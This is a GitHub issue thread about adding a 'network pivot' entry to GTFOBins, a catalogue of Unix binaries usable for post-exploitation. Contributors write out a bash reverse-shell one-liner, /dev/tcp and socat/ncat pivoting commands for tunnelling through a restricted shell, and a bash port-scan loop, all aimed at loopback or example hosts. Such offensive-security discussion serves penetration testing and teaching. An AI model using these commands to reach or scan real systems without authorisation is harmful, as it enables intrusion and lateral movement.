New function? Port forwarding about gtfobins.github.io HOT 9 OPEN

Oh nice, I didn't know printf was a builtin. Thanks for that.

from gtfobins.github.io.

I think it could be interesting, but beside ssh and socat that allow to implement port forwarding straightforwardly are there other meaningful examples?

You mentioned nc but it cannot do proper port forwarding on itself (without -e/-c) AFAIK, you can only set up two half duplex pipes and do some shell-script-magic to glue all together or I'm missing something?

If you have -c on your nc you can do something like this to, say, reach example.com:80 from port 8080, which sounds reasonable.

 nc -c 'nc example.com 80' -lp 8080

But how would you do it with plain Bash for example?

from gtfobins.github.io.

@cyrus-and If you already have a reverse shell (bash -c 'bash -i &>/dev/tcp/127.1/4444 0<&1') then you can just call exec 3<>/dev/tcp/127.1/22; cat <&3 & cat >&3 to connect to your target. This isn't quite the same as the usual port forwarding; perhaps a better name for this function would be a "network pivot".

Alternatively, if you re-purpose your reverse shell listener, you can bridge two tcp servers through the pivot. I.e. ncat -lk 4444 could become socat tcp-listen:10022 exec:'ncat -l 4444' or ncat -e 'ncat -lp 4444' -lp 10022, to which you may connect to as ssh 127.1 10022 before running the following in the restricted shell.

exec 3<>/dev/tcp/127.1/4444 4<>/dev/tcp/127.1/22
cat <&3 >&4 & cat <&4 >&3

I'm sure this can be shortened, but I don't usually mess around with these forwards. Additionally, we can use this for port scanning. (echo > /dev/tcp/127.1/10001) 2> /dev/null && echo opened || echo closed

for p in {1..5}; do
  (echo > /dev/tcp/127.1/1000$p) 2> /dev/null && echo "$p is open"
done

from gtfobins.github.io.

Hmm yes, the point is that nc and bash cannot be used as-is to properly forward a port unlike, say, socat or ssh. I'm not sure if adding this function might be worth it, let me play with this idea...

from gtfobins.github.io.

@cyrus-and As my example demonstrates; it may not be exact, but the effect can be reconstructed and the goal satisfied. Thus my suggestion to rename the function as a "network pivot" as this is generalized to cover both variations. One side, like socat, ssh, and some variations of netcat, which allow for binding on a port; and the other with bash and weaker variants of netcat which do not.

The latter is independently useful as it doesn't require you to bind on the pivot and be able to communicate to it directly, you can have it connect out to you. If you need many connections, you can automate this as you like for the respective context.

from gtfobins.github.io.

Yes, I see your point and the "network pivot" suggestion actually does make sense.

Let me clarify, in my previous comment I was only pointing out with bash or vanilla nc it's not as simple as:

socat LISTEN_HERE SEND_THERE

Plus bash on itself completely lacks the ability to listen for connections. And it's not clear how we should structure the GTFOBins entries in this respect.

Also in your bash example you used cat which is yet another binary (albeit ubiquitous). Although I'm sure pure bash solutions can be implemented, e.g., while read .... This is not a problem as-is of course, I was just trying to fit this in the context of GTFOBins.

Having said that I think that a "network pivot" function could be interesting, we just need to figure out how to add concise and reusable examples that can be used in common scenarios.

from gtfobins.github.io.

I'd treat the bindless pivot not so differently to the usual reverse shell, the server listens for their connection. socat as I demonstrated is useful to make it appear as a local server, which spawns the netcat listener on the first connection, for the pivot to redirect a single connection towards.

Cat can be removed as a dependency but it looks like a mess of read/printf may be necessary to create a polyfill which acts properly like cat including nulls and newlines without choking on large packets. I was hoping something like bash -c 'exec 0>&1' would work, unfortunately it didn't. Likely for the same reason that exec 3>&4 4>&3 doesn't work, as exec forwards close the old fd before running, in this case, I'd expect dup.

from gtfobins.github.io.

I don't think it's a problem of closing the fd, rather it's a matter of having no one that actually performs read/write on that file descriptors. I might be wrong though... I wonder if a real pure bash solution does exist.

from gtfobins.github.io.

The hacky cat alternative produced in #bash on Freenode by pj appears to work. I've tested up to a 512M random file. This is as expected, quite a bit slower, but works.

mycat()( LANG=C; while IFS= read -d '' -n1024 -r s; do printf '%s' "$s"; (( ${#s} < 1024 )) && printf '\0'; done; printf '%s' "$s"; );

from gtfobins.github.io.